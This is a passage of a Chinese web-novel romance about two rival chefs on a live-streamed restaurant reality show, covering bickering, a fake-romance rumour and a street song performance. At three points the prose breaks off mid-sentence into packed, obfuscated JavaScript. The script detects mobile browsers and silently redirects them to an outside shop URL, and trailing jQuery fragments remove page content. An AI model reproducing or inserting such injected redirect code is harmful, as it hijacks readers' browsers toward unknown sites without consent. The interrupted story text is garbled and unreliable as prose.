“别逗了。”陆跃头也没回：“真收你钱我得被网友骂成筛子。” “你得收呀！”谭宁赶紧追上去：“我可不是爱占便宜的人，说了给就要给！快！手机拿出来。” 陆跃插着手低头扫了她一眼：“我又没说你爱占便宜。” “你现在是没说，那谁知道等到了镜头面前你又要干嘛呢？趁现在没人，咱们赶紧算清楚了，不然……啊！” 谭宁一个没走好，自己绊着自己。她向后仰去，眼看后脑勺就要和地面来个亲密接触…… “哎！” 鼻尖撞上坚硬，扑面而来的是皂角和柠檬的香气，以及灼热的温度。 好好闻…… 谭宁的手不受控制地上移，指尖轻轻一捏，噗叽…… 靠！好软好有弹性好…… “谭！宁！” 头顶上方传来发动机的声音，谭宁闻声望去，身子猛的一抖，陆跃的脸比关公还要黑。 “你、手、往、哪、儿、摸、呢？！” 谭宁蹭的一下就弹开了，脸涨得通红，手足无措，垂下的发丝被她一次次撩到耳后，红到滴血的耳尖若隐若现。 “我……不是……”还好脑子没短路，她憋出个还算像样的理由：“我是怕自己没站稳摔倒了，哪里还顾得上摸哪里！” “是吗？” “是……是啊！” “那就好。”陆跃拽了拽被她弄乱的衣服，桃花眼里泛着潋滟的光：“还以为你馋本少爷的身子呢。” “你瞎说什么！”谭宁陡然抬高音量，脱口而出：“我怎么可能馋你身子？！你有病就去看好不好！” “这也是人之常情。”陆跃凑过来注视着她的眼睛，阳光洒在他眼底，像一尾白鱼，一眨眼就游走了。 谭宁稍微愣神，陆跃趁其不备，弹了她一个响亮的脑瓜崩：“别发呆了，快走！” “哦。”谭宁用手背碰了碰脸颊，低头跟了上去。 回去的路上，谭宁都没再说话。 而直播间嗷嗷待哺的观众们急得都快吵起来了。 【刚才还好好的，怎么现在又跟不熟了一样？】 【我没看错的话，从餐厅出来的时候是抱了吧？现在这是害羞了？】 【我真不懂你们在自嗨什么？但凡看过往期的都知道他们有多讨厌对方，都这样了你们还能磕下去？真是牙口好。】 【楼上是隔壁派来的黑子吧？宁跃一直是圈地自萌来着吧？关你们啥事？吃你家大米啦？】 【不磕cp就是黑子？这什么逻辑？弹幕观感太差了！难怪你们店越来越糊！】 …… 然后黑评就跟潮水似的一股脑涌了进来，后台删都删不过来。 笑笑苦着个脸，手中动作不停：“怎么好好的就坏起来了呢？” 谷子导演拧着眉，向对讲机吩咐：“三号三号，准备切门店画面。” 最后没办法，只能采取冷处理，让摄像大哥暂时不要拍了。 下车前，陆跃喊住她，让她把菜单上需要用到的食材列个单子出来，越详细越好。 “我发给老杜问问价。” 老杜是辣椒碰头的供货商。 “知道了。”谭宁转身钻进烈日里，头也不回地走了。 陆跃隔着车窗看到她紧绷着脸，走着走着还差点撞上人，内心古怪。 怎么又生气了？他刚刚也没说什么重话吧？ …… 回到熟悉的磁场，谭宁的心终于一点点平静下来。 陆跃说得没错，她离开了半天，餐厅也仍然保持着正常的运营，没有崩更没有坏。 看着默默和shake虽有些慌乱但仍然努力保持冷静按照自己交代的流程一步步动作的样子，谭宁觉得前路好像也没那么黑暗可怕了。 “哎！谭宁姐！你回来啦！”shake看到她眼睛都亮了：“怎么样？上午有什么收获？我跟你说我们都快忙死了，想打开直播看一眼都没时间！” “辛苦啦～”谭宁对他们竖起大拇指：“我在直播间看到了，你们很棒！” “没你还是不行啊。”shake摇摇脑袋，冲她招手：“快来帮我看下！” “先来看我的！我这马上要出餐了！” “谭主厨，感觉这个酱颜色不太对，能不能……” 一时间求助声像雨后的春笋全漏了头，此起彼伏。 “知道了！”谭宁系紧围裙，摩拳擦掌：“我来啦！” 一直忙到下午两点，谭宁咕嘟咕嘟吞着电解质水，这才想起给陆跃列单子这回事。 拧上瓶盖，谭宁伏在案台上用笔在纸上一项一项罗列着，写了满满一页。 写完她从头到尾检查了一遍，确定没有遗漏才拍照给陆跃发去。 发完不到两分钟，陆跃就走了过来，喊她去外面开会。 “你没事吧？”陆跃走在前面回头看了她一眼，她脸上汗水和头发糊作一团，脸像水蜜桃一样。 “啊？”谭宁抹了把脸，有点莫名其妙：“没事啊，我咋了。” “不是。”陆跃扭过头去，突然声音就像蚊子在嗡嗡叫：“这不是看你一上午都没出来嘛，还以为你……” 谭宁啧了一声：“你在说什么啊？能不能大点声？” “没什么！”陆跃迈开步伐，一下子跟她拉开老远的距离。 这一句话语气可真不怎么样。 “有病吧！”谭宁冲着他的背影龇牙，趿着脚跟了上去。 外面除了王师傅和三七店长外，老杜也来了。 陆跃把谭宁列的清单发给他，让他算一下进货价分别是多少。 “好，我现在看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525942|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 坐下后，陆跃往她这推了个单子过来，眼神示意她打开。 “这是什么？” “中餐的供应菜单，你看看有什么问题。” 谭宁抱着臂仰着头，一动不动。 “我才不看！你不说我不懂中餐吗？” “这都过去多久了？以前怎么没看出来你这么记仇呢？” “我就记仇！谁让你先说我的！” “行，你爱看不看。” “略略略！我就不看！” 啪！ 掌心重重落在桌面，陆跃恶狠狠地瞪着她，把那张菜单收回来。 哼！ 两个人不约而同地偏过头，鼻孔出气。 【豹豹猫猫你们能别吵架了吗？我现在有一点s了。】 【再吵让纪律委员记名字了！】 【吵吵吵！家都让你们给吵散了！忙了一个多星期，菜单都没做出来，怎么还有时间吵架的？】 【点了。本来还他们吵架还觉得挺有意思的，现在是真的磕不下去了。尤其是上午那一段，很刻意。两位别卖了，好好开店吧！没市场！没市场！没市场！重要的事情说三遍！】 …… “吵得我头疼。”王师傅拍了拍桌子，拉回两个人的注意：“我就问一句：这店还开不开，节目还录不录了？” 两人异口同声： “怎么不开？” “录啊！包录的！” “那就别吵了，听我的！”王师傅把菜单从陆跃手里拿过来，递给谭宁：“又不是小孩子了，工作的时候不要带私人情绪知道吗？” “谁跟他私人？！” “王师傅你看她！她这是工作的态度吗？” 得，又踩到关键词了。 王师傅扇了下自己的嘴，长叹一声：“我说错了，是我的错。别吵了，看菜单。” “知道了。”在王师傅的眼神警告下，谭宁老实下来，拿起菜单认真翻阅起来。 玻璃乳鸽、鲫鱼抱春饺、碰头炒饭、辣木苗拌扇贝、油泼香干、香橙煎蛋。除此之外，甜品还有龙井布丁和岩米桃胶。 每个菜名后面还配上了相应的图片以及介绍，谭宁全部看了一遍，对陆跃的风格和要求也了然于胸了。 她合上菜单，问：“你们中餐是准备按菜品收费还是按人头？” “主套餐是个双人套餐，如果单人的话就按菜品算。” 谭宁问他双人套餐多少钱。 陆跃说了个数字，谭宁一下子瞪大眼睛，捂住了嘴。 “陆老板，您什么时候开始做慈善了？” 据她了解，这个价格在麓山秋只够点一道招牌菜。 “你不说我们是麓山秋体验店吗，价格当然也是体验价。”当然，这个价格主要还是为了尽可能多的吸引人过来。 谭宁咋舌：“你这样会显得我很无良商人。” 陆跃冷笑一声：“放心吧，你没机会当无良商人。老杜，价格算出来了吗？” “好了好了。”老杜在谭宁列出来的清单后面用蓝色笔一一标记了价格，一目了然。 “呐。”陆跃扫了一眼拿给谭宁：“对照进货价，今天之内把你菜单的价格定下来，人工核算还需要我跟你讲吗？” “不麻烦陆老板了。”谭宁挤出个礼貌的微笑，看着纸片上的数字大脑已经飞速运转起来。 无论是上午的参观还是这份详细的食材单价，包括陆跃的菜单在前打的样，谭宁的脑海中已经有了基本的雏形。 现在她要将这些碎片一点一点拼凑成一份完整的菜单。 回家后谭宁便把自己关进房间，头戴式耳机里放的是她自己录制的背景音，听着在厨房工作时的声音，她很快便进入了状态。 敲定价格、手绘菜单、精心装饰…… 一直忙到天蒙蒙亮，这一份三折页菜单才终于有了正式的样子。 完成的第一时间谭宁就发给了陆跃，她放下手机哼着歌去浴室冲凉，没想到在闭眼前收到了他的回复。 陆二哈：画得不错，算你过关了。 谭宁抱着手机吃吃的笑，这份耗时许久的菜单总算是没有辜负期待，焕新登场啦！ 14. 《主厨的战场》 迎着曦光到店，从自行车上下来时，步伐轻快。 “早上好啊谭宁姐！” “早！七喜！” 谭宁咧开嘴，十分热情地跟她打了个招呼。 七喜的眼神定格在她的笑容上，哟了一声：“谭宁姐，看着心情不错呀。有艳遇？” “什么呀。”谭宁睨了她一眼：“是我的菜单做好啦！” “哇~”七喜从收银台里跑出来，攀着她的手臂：“能给我看看吗？” 当然。谭宁从包里掏出自己的手绘菜单，递给她。 看到七喜惊艳的表情，谭宁挑眉不无得意地问道：“怎么样？还不错吧？” 岂止是不错呀，简直是太好了！ “谭宁姐，没想到你还会画画啊？” “哼。”谭宁扬着脑袋眨了眨眼：“我会的可多了呢。” 七喜翻看了一遍，依依不舍地还给她：“你知道吗？现在你身上有另外一个人的影子。” “谁啊？” 谭宁好奇地抬起头，看到七喜黑白分明的眼珠灵活一转，顿感不妙。 果然下一秒，她银铃般清脆的声音便在耳边响起。 “陆总啊！” 谭宁赶紧捂住她的嘴，“你不许瞎说！” 她像陆跃？别开玩笑了！简直是败坏她的名声！ 七喜便不再说了。她心想你俩这乐观自信，不把对方放在眼里的样子可不就是如出一辙吗？ “哼！”谭宁松开手，临走前装出恶狠狠的样子横着手指：“不许再瞎说啦！听到没！” “知道啦~” 谭宁满意地转身走了。 换好衣服，戴上帽子，刚准备进厨房。叮的一声响过，手机屏幕亮了。 “咦？” 谭宁点开一看，竟然是导演组给她发消息。 【谭主厨，麻烦您出来一下。外面停车场有辆白色的车，车牌号是星AXXXXX，这边有点事要跟您讨论。】 谭宁只好又把衣服换回来，拿着手机跑了出去。 这还是录节目以来导演组第一次发消息找她，谭宁忍不住在心里猜测原因，左思右想，一个念头攀上心头。 该不会是因为她的业绩太差，节目组要换了她吧…… 谭宁心里打着鼓，手心捏出一把汗来。 不要啊，有什么问题咱们好好商量，不要踢了我啊，求求了…… 谭宁行至车前，视死如归般地拉开车门…… “导演！对不起！！我错了！！！” 谈话的声音戛然而止，车外，谭宁鞠了个大大的躬，手死死捏着膝盖上的裤腿，身子一颤一颤。 …… “呃……那个……谭主厨啊，咱有什么话好好说，你这是……” 谭宁仍保持着弯腰的姿势，盯着自己的脚尖，似乎下定了某种决心：“谷子导演！求你不要开除我，我知道前段时间我表现是差了点，但我已经痛定思痛改过自新了！哦！” 谭宁想起自己的菜单，准备拿出照片给他看，一抬头，齐唰唰的一排人正目不转睛地盯着她，其中还包括…… 声音拔地而起，谭宁直接表演一个瞳孔地震，脚步踉跄。 “陆跃！你怎么在这？！” “哈哈哈哈哈哈哈！”看戏的陆跃爆笑出声，整个人前仰后合，啪啪地拍着膝盖。 “谭宁！你也有今天啊哈哈哈哈！” 谭宁又羞又恼，整个头顶都是烫的，脚趾扣地，无所适从。偏偏还不能气愤离场，因为怕真的被开了。 谷子导演收起笑容，给她解围：“好了好了。谭主厨，快上来吧。” 谭宁这才终于得到解救，在落座前狠狠地踢了陆跃一脚。 这一脚对着他小腿的肌肉，饱含怨恨，结结实实让陆跃吃痛。他抱着自己的小腿，眼泪汪汪地瞪她。 “哼！”谭宁抬了抬下巴，谁让你笑我的！ “谭主厨，陆老板。”谷子导演清了清嗓子，直奔主题：“今天把二位叫过来不是要问责谁，更不会有中途开除这种事发生，请二位放心。” 谭宁心虚地摸了摸鼻头，低头没吭声。 “你们可以先看下这个。”谷子导演把平板打开，放在两人面前。 是昨天的直播画面，从陆跃车上一直到回店里，比气氛更诡异的是乌烟瘴气的弹幕。 谭宁看得目瞪口呆，短短几天，弹幕的风向完全变了味。虽然一开始大家也开她和陆跃的玩笑，但至少没有恶意。 现在这些，倒像是有人在故意引导。 谷子导演心领神会，手在平板上滑动几下，调出一张图片。 “昨天晚上，微博有个吃瓜大V号发了条动态，很明显的意有所指。” 【食综变恋综！还是素人会卖啊！此处应艾特某小花某小生：这是我给你报的演技大师课，好好看好好学！】 “我靠！他这是什么意思啊？！” 谭宁混迹娱乐圈多年，还有过线下追星的经验。什么实心瓜预制瓜炸词条炸热搜锁广场……她没想到这些词语有一天竟然会出现在自己身上。 什么叫卖啊，这话也忒难听了！ 谷子导演摊了摊手，把平板收起来。 “关键是，现在大家都怀疑是我们节目组串通嘉宾一起炒cp，挂羊头卖狗肉，有悖节目初衷。” 这名头可就大了，搞不好是要停播的。难怪导演一早就把他们喊过来了。 空气突然之间就凝滞了，一呼一吸都变得沉重起来。 但既然问题已经发生，责备谁都没有意义，抓紧时间解决才是首要。 “幕后黑手我们肯定会查清楚，现在就希望两位嘉宾能配合我们的工作，在录制期间减少除工作以外的互动。” 谷子导演看看谭宁，又转过头看看陆跃，征求意见。 “呃……我们不一直是这样吗？” “是啊是啊，我也没感觉有哪里不对啊！” “噗嗤——”笑笑听完都忍俊不禁地出声：“二位这默契，我给十分。” “得了吧，谁跟他有默契。”谭宁哧了一声，转向一边。 陆跃一听也不高兴了：“说得好像我乐意似的。” “你看！就是这样！”谷子导演一拍手，两个人连动也不敢动。 “我的意思就是说：二位在镜头面前的时候尽量控制住不要争吵。准确的来说是不要做无谓的争吵，有什么意见不统一的地方可以私下沟通。” 谷子导演抬头扫过两人的脸，如出一辙的屏气凝神，他在心里轻笑，接着说：“二位老师肯定也不希望咱们这个节目就这么半路解散，辣椒碰头还有无限的潜力等待激发。相信二位一定能把握好其中的平衡，度过这个难关，对吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525943|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 谭宁和陆跃分头回到店里，气氛明显变得沉重起来。 这件事的严重性是两个人都始料未及的，在过去的岁月里，二人一直这样相处，从未觉得有哪里不对。 突然要改变，都觉得不适应、很奇异。 进厨房前，谭宁本能地喊住陆跃，话到嘴边又生生地咽了下去。 陆跃扯了扯嘴角，转身走了。 谭宁下意识叹了口气，进了厨房。 再大的事在这里都是小事，明天就是正式营业的第一天了，现在摆在谭宁面前最重要的是做营业前的准备工作。 包括，菜品尝试，SOP敲定，全流程模拟…… 除此之外，她还准备在晚上人流量多的时候做一个预热活动，不然照现在的情形下去，不上点手段的话明天只怕可能要“开天窗”。 明明就隔着两扇窗，但因为特殊时期，她只能在WX上跟陆跃简单说了下自己的想法，问他可行性。 陆二狗：你准备怎么做？ 吃了吗宁：这你别管，我有我的办法。你就给句痛快话，同不同意？ …… 他许久不回消息，谭宁作势敲了敲铁盆，弄出声响引起那边注意。 过了两分钟，他说：“我说不你就会放弃吗？” 当然不会。 得到许可，谭宁满意地转过身，身后一众人正目不转睛地盯着她。 “干嘛……”谭宁被盯得后背发汗：“我脸上有东西啊？” “没事没事。”大家默契地摆摆手，噤声忙自己的去了。 奇了怪了，谭宁挠着头嘟囔了两声便就此作罢。收手机前她给曲小秋发去消息，让她记得准时过来。 比起白天，谭宁更喜欢星城的夜晚。尤其在炎热的白天过后，夏夜，吹着晚风吃着烧烤，听着啤酒的气泡刺啦刺啦地作响，没有比这更惬意的事儿了。 曲小秋来的时候天刚微微暗，谭宁二十分钟前就在门口等候，焦急地走来走去，直到看见那个装扮浮夸背着吉他的身影出现在人群中才松了口气。 “这里！”谭宁伸直了手，踮起脚来。等曲小秋走近后嗔怒地拍了下她的肩膀：“不是跟你说了准时到的嘛！快快快！待会人都走光了。” 曲小秋一路紧赶慢赶，喘着粗气白了她一眼：“你说得倒轻巧！我还翘了十分钟的班才赶来的！” “知道啦知道啦。”谭宁边拍她的背边拉着她往里走，放缓语气：“知道你最好啦~爱你爱你~” “这还差不多。”曲小秋哼了一声，环顾起店面来：“你别说，陆跃的店装得还挺有感觉，我看这顾客不挺多的嘛，干嘛非要把我喊来……” 谁会嫌顾客多。 谭宁捏了捏她的手心，让她在这等一会儿，她去换衣服。 “哦，你去吧。” 十分钟后，谭宁从换衣间里走出，一袭蓝色碎花抹胸短裙搭配棕色的腰封，脚上踩着同色系的皮靴，一出来便引得连连惊叹。 “哇姐妹，美炸啦！”曲小秋竖起大拇指，欣赏的眼神在她身上流连许久。 “谢谢~”谭宁搭上她的手提起裙摆右脚后撤俏皮地行了个礼，和她对上眼神：“准备好了吗？” “嗯嗯！”曲小秋肯定地点了点头，举起手喊了一声：“保证炸翻全场！” “Let''sgo！！！” 15. 《主厨的战场》 辣椒碰头所在的这条街叫做海棠街，作为星城旅游业的一张名片，是名副其实的潮人街。 每当暮色四合之时，街上便聚集了形形色色的年轻人，逛街、吃饭、喝酒、玩滑板……灯火通明，热闹非凡。 因此，当谭宁和曲小秋从店里走出，架上话筒的那一刻，旁边瞬间就围了一群人驻足观看。 谭宁听到其中有位小姐姐在给朋友发消息，说：“喂，这里有节目表演，快来看！” 曲小秋冲她比了个手势，谭宁拿起话筒喂了一声，清脆而富有磁性的声音从音响里传出。 “海棠街的朋友们！你们好吗？” “好！！！” 谭宁的笑容极具感染力，这一声吆喝把经过的路人都吸引过来。 “诶，这是在干嘛？” “好像是唱歌表演。” “有明星在录节目啊！快来！” “我去！真的假的？” …… “大家好！我是辣椒碰头的主厨谭宁，接下来我和我的朋友将为大家带来一首CruelSummer，会唱的朋友请跟我们一起唱好吗！” “好！” “没问题！” 一串银铃般的笑声响过，曲小秋轻轻滑动指尖，吉他的弦乐像流水一般缓缓流淌出来，耳朵瞬间得到了净化。 随着背景音乐的鼓点响起，谭宁站在路灯撒下的光圈里，转身起舞的一瞬间，周身都散发着一圈耀眼的光彩。 “Feverdreamhighinthequietofthenight.” “YouknowthatIcaughtit.” “Ohyeah,you''reright,Iwantit.” …… 曲小秋像老唱片一般颗粒感十足的嗓音搭配谭宁轻盈跃动的舞步，人群如潮水般围成一圈又一圈，有种万人空巷的震撼感。 高潮响起的一瞬间，跟唱声蜂拥而至。有人在拍手打着节奏，有人跟着歌曲一起摇摆起来。摄影大哥用高超的运镜将现场气氛还原到直播间。 【夏天就是要听酷夏啊啊啊啊啊！】 【天！我真的要爱上主厨大人了！这哪里是厨师，明明就是女团啊！！！】 【姐姐的腿不是腿，是塞纳河畔的春水！姐姐的背不是背，是保加利亚的玫瑰！姐姐的腰不是腰，是夺命三郎的弯刀！姐姐的嘴不是嘴，是安河桥下的清水！！！】 【我靠！我以为我进错了，这是音综吗？小姐姐唱得也太好了！】 …… “It’scoolthat’swhatItell’em.” “Norulesinbreakableheaven.” “Butoohwhoaoh” “It’sacruelsummer……” 一曲末，琴声悠扬。谭宁恣意地转了个圈，裙摆在空中划出一个优雅的弧形，她稳稳落地，一只手背在身后，另一只手的拇指和食指在脸颊边摆出一个对号，以一个俏皮的wink结尾。 “哇！太好听啦！！！” “没看够！再来一首！” “再来一首！再来一首！” 再来一首的起哄声与掌声此起彼伏，灯光晃着眼，谭宁有些受宠若惊，翩翩然仿佛踩在云层上。 一回头，发现身后竟然也挤满了人，陆跃站在门口的角落里，谭宁没有看他，却知道他在看着自己。 上学的时候她是仰望别人的那个，而现在，她也有自己的光芒。 “谢谢，谢谢。”谭宁喘着气，和曲小秋肩搭着肩。她脸上没有化妆却肤若凝脂，唇颊如桃花般粉嫩：“谢谢大家捧场。” “明天起辣椒碰头将会启用全新的特色菜单，中法餐轮流供应，感兴趣的朋友可以扫这个二维码，抽奖领取菜品！” 说完，谭宁拿着二维码在前排传递。 “好啊好啊！给我发一个！” “中法餐轮流供应？有点意思。那明天是法餐还是中餐？” “明天是法餐哦～”谭宁指了指旁边另外一个二维码，说：“这是我们店铺的红薯号，您可以关注一下。每天的菜品和供应情况我们都会提前发布在账号里。” 转了一圈，谭宁回到中央鞠了个躬：“今天谢谢大家捧场，明天开业第一天我们还有一个神秘活动——穿着特定服饰的人群可以享受七折优惠！今天我就先卖个关子，期待明天和大家见面！” 掌声再一次响起，人潮好一会儿才散去。 谭宁刚回到店里，店员们簇拥上来，左一句惊叹又一句夸奖，把谭宁闹得面红耳赤。 “喔唷！这是谁家的主厨这么厉害呢！不仅会做饭还会跳舞，简直闪瞎我们所有人的眼啦！” “谭宁姐！快看我给你拍的视频！美晕啦！” “小谭啊小谭，你今天可是让王师傅刮目相看哦～” “谭主厨你朋友唱歌好好听啊，不然到我们店里驻唱吧？我都不敢想流量会有多好！” “是啊是啊！你们就是女团本团！” …… 曲小秋打开双臂享受着溢美，还不忘揶揄谭宁：“原来你平常过得都是这样的好日子！” 谭宁抿唇轻笑，在她耳边咬牙道：“那你是没见过差的时候！” “好了好了。”三七店长拍了拍手，“大家回到自己的岗位上，晚上还有硬仗要打呢，速战速决！” 谭宁把曲小秋送到门口，抱歉地合十双手：“不好意思啦姐妹，谢谢你过来捧场，改天请你吃饭！” “行了行了。”曲小秋白她一眼：“知道你忙，去吧去吧！欠我的饭我都给你记着呢，休想赖掉！” “知道知道。”谭宁比了个OK的手势，在店门口挥着手，直到背着吉他的背影消失在人群中。 谭宁往外轻轻呼出口气，一转身，陆跃正靠着不远处的墙壁上下打量着她。 “哎哟妈呀！”谭宁后撤一步，捂着胸口嗔怪地瞪了他一眼：“你要吓死我呀！” “干嘛！找我有事？” “你……”陆跃站直身子，右手握拳抵在唇边，抬脚向她走过来。 “哎！”谭宁看了眼旁边闪烁着的摄像头，忙不迭地叫住他：“停！停！停！” “有什么话你就站那说！” 她还记得早上谷子导演的告诫，死守着规矩，待他如洪水猛兽一般。 陆跃在她的呵斥声中迫不得已停下脚步，额头上闪过三条黑线：“有必要这么刻意？” 管它刻不刻意，有用就行。 谭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525944|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁哼了一声，“陆总，您要没什么工作上的事我就先去忙了，厨房里还一堆事儿呢。” 得，还您上了。 陆跃听得直皱眉头，良久，他摆摆手脑袋偏向另一边，放她走了。 “走吧走吧。” “好嘞！”谭宁拔腿就跑，一秒都不停留。 回到厨房后，她在WX上戳了戳陆跃。 吃了吗宁：你刚刚要跟我说什么？ 对方正在输入…… 吃了吗宁：？ 对方正在输入…… 吃了吗宁：到底有没有？！ 对方正在输入…… 吃了吗宁：没有我走了。 陆二哈：没有。 啪！ 谭宁把手机扔桌上，西…… 不对，有摄像头。 到嘴边的巴字被生生咽下，她对着镜头挤出个笑，说：“刚刚看到直播间有朋友问没来现场也想抽菜品怎么办，当然不会区别对待的哟～” “喏。”谭宁点进直播间，对着镜头展示：“直播间底下的这两个二维码分别是抽奖链接和店铺的红薯号，大家截图扫码就可以啦！” 【已扫！抽到了马卡龙哎，明天一定去！】 【虽然没抽到，但好好奇明天的dresscode是啥啊，打算去凑个热闹！】 【主厨大人今晚闪耀星城，绝美舞台鲨疯啦！想问问明天还有表演吗？】 “明天没有表演了哟。”谭宁回复着弹幕：“明天要专心准备餐食，而且我朋友也没空。所以这位宝贝，sorry啦～” 【啊啊啊啊啊，谭主厨这句宝贝我可以听一百遍！】 谭宁继续往下滑着，回答了一些关于菜品的问题，直到有条刷屏许久的评论出现，谭宁手指一顿。 【谭主厨刚刚是在给陆总发消息呢吧？坏事做尽的节目组，我好好的豹豹猫猫被你们搞得跟tq一样！不过还是好磕：站着能磕，躺着能磕，横着能磕，竖着还能磕！宁跃就是这样一款不挑时间不挑地点的完美cp?！】 这么长一大段话，谭宁硬是给看完了，越看表情越复杂。 tq？偷情？大袜子，这还是中文吗？ 谭宁赶紧挪开视线，对着镜头笑了笑，再开口时莫名喉咙发紧。 “那……那个，我要先去忙啦！明天见！” 她挥了挥手，转身的功夫差点把自己绊倒。 “谭主厨，你没事吧？”近处的默默愣愣地问道。 “呵呵。”谭宁低头暗骂一声，干笑道：“没……没事。” 狗陆跃！老娘跟你沾上就没好事！去死吧！ “shake，你有没有听到咯吱咯吱的声音？” “没有啊，你听错了吧？” “不是，你仔细听，真的有。” “库房里有老鼠吧，等忙完我去看看。” “是老鼠吗……” 另一边的中厨房里，陆跃连打了两个响亮的店喷嚏。 阿嚏！阿嚏！ “哟。”王师傅看乐子般的扫了他一眼：“陆总，这是有人在念叨你呢！” 陆跃摘下口罩擤了擤鼻子，透过出餐口往外面看去，脑海中却浮现出灯光下舞动的身影。 那样的谭宁，是如此的陌生，又仿佛似曾相识。 16. 《主厨的战场》 从陆跃认识她到现在，谭宁一直是个引人注目的人。 但高中时候的打眼和现在并不是同一件事。 学生时代，受到关注的无非就是两类人：要么极端优秀要么极具特色。 显然谭宁是第二种。 只不过她看上去没心没肺，成天乐呵呵的。陆跃也是后来才知道青春期对她而言是一场淅淅沥沥的小雨，无尽的潮湿。 可即便如此，她还是长成了现在的样子，由内而外的焕然一新，光芒大到可以辐射他人。 晚上打烊后，谭宁带着法餐组的所有成员顺了一遍流程，确保没遗漏的地方后才能下班。 “辛苦大家了。”谭宁说：“明天按照刚刚梳理过的流程来做就行，放轻松回去好好睡一觉，我们明天见！” 话音落，大家应声过后却没有立马离开。 谭宁正打算熬酱，一转身，发现所有人都还在厨房里，练习的练习，讨论的讨论。 “你们还不回家吗？”谭宁问。 shake抬起头：“谭宁姐，明天可是开业第一天。行不行就看明天一天了，现在让我们回去也睡不着啊！” “是啊是啊，我现在闭上眼睛都是这些程序啊、用量啊，总害怕明天记不住。” “说真的，我高考那天晚上都没有现在这么紧张，还是多练习几次吧。” “别说高考了，我现在的感觉就像当初站在产房外等我老婆的时候，坐也不是站也不是，手心全是汗。”说着他举起手掌，透明的手套粘在皮肤上。 大家听完哈哈大笑，紧张的气氛缓解了许多。 “你别说，这个比喻还蛮贴切的！”shake突然喊了一声：“这份菜单可不就是我们的孩子吗，我们现在都是产房外焦急等待的家属，就等着明天它哇呜一声，惊艳问世了。” “哈哈哈哈，你这么说我脑子里都有画面了！” “没毛没毛！” 谭宁跟着笑了两声，纠正道：“那我觉得还是更像接生的医生吧，大家都是参与者啊，明天还要靠大家一起努力让它平安落地呢！” “对！我们是医生！” “没错没错！” “还是谭主厨会形容啊，这么说我都感觉自己的形象突然就伟大起来，充满了能量！” “是吗？我来摸摸。”他把手放在她肩膀上，像触电一般抽搐着，嘴里发出滋滋的声响：“嚯！皮卡丘啊！” “行！”看到大家干劲十足活力满满的样子，谭宁心里也有了底气：“那我们就各自再精进一下自己的本领，明天齐心协力把我们的宝贝接生出来！” “好！” “没问题！” “放心吧！一定开门红！” 大家一鼓作气，这一干就干到了凌晨三点。在厨房工作时，时间好像流逝得格外快速，颇有一种天上一天，地上十年的意思。 直到传来叩门声，三七店长穿着便服，笑意盈盈地倚在门口。 “都累了吧？” “陆总请吃宵夜，大家要不要歇会儿再战？” 宵夜触发了关键词，大家不约而同地抬起头，齐声道：“要！” “刚好饿了，走吧走吧！” 就这么脱下围裙一窝蜂地跑了出去，外面桌上已经摆上了烧烤和饮料，飘香四溢。 “谭主厨。”三七店长对着还在忙碌的谭宁喊了一声：“走呀！一起吃！吃完再忙！” “我……”谭宁犹豫了一瞬，便看到三七脸上浮现出一抹神秘的微笑。 她走了进来，小声在她耳边说了句什么。 谭宁像触电一般弹开，连连摆手：“不是不是！你误会了！” “我……”谭宁感觉自己脸上像被蚊子叮了一下，又红又烫：“我是想说这个酱旁边不能离人的，你想到哪里去了！” “好好好，那你去吃我来看着。” 三七嘴上说着知道，眼神却暴露出来她的真实想法。 “你？”谭宁撅了撅嘴，做出不信任的样子。 “谭主厨，我是店里的老员工了，你还不放心我？” “还是说……”三七邪魅一笑：“你还有别的顾虑？” “什么嘛！”谭宁一激动差点咬到自己的舌头，“给你给你，待会我要回来检查的！” “放心吧！”三七接过锅铲，冲她挥了挥手。 “哼。” 谭宁脱下手套扔进垃圾桶，叉着腰出去了。 三七店长没骗她，陆跃的确不在。 谭宁轻拍大腿，往外呼出一口气，走过去坐下。 “谭主厨，你喜欢吃啥？我给你拿！”寡言少语的默默在谭宁身边就像变了个人，用shake的话说就是狗腿子一个。 谭宁也不客气，用手指给他看：“我要玉米、鱿鱼、火腿还有烤馒头，谢谢！” “嘿嘿。”默默憨憨地笑了声：“不客气。” 玉米的外皮烤得焦香，一口爆汁。吃完甜的再吃咸的，鱿鱼和火腿的表面都撒了一层厚厚的孜然粉和辣椒粉，丰富的味蕾在舌尖绽放，谭宁吃得连连点头称赞。 星城不愧是美食之都，想起在法国的那些日子，谭宁眼睛都酸了。 但这也是相应的，星城的餐饮业在全国也是数一数二的竞争激烈，卷价格卷品质卷服务……总之就是你能想到的人家都已经在做了，对顾客来说是好事，对他们就是挑战了。 从这个角度来说，谭宁是有些敬佩陆跃的。 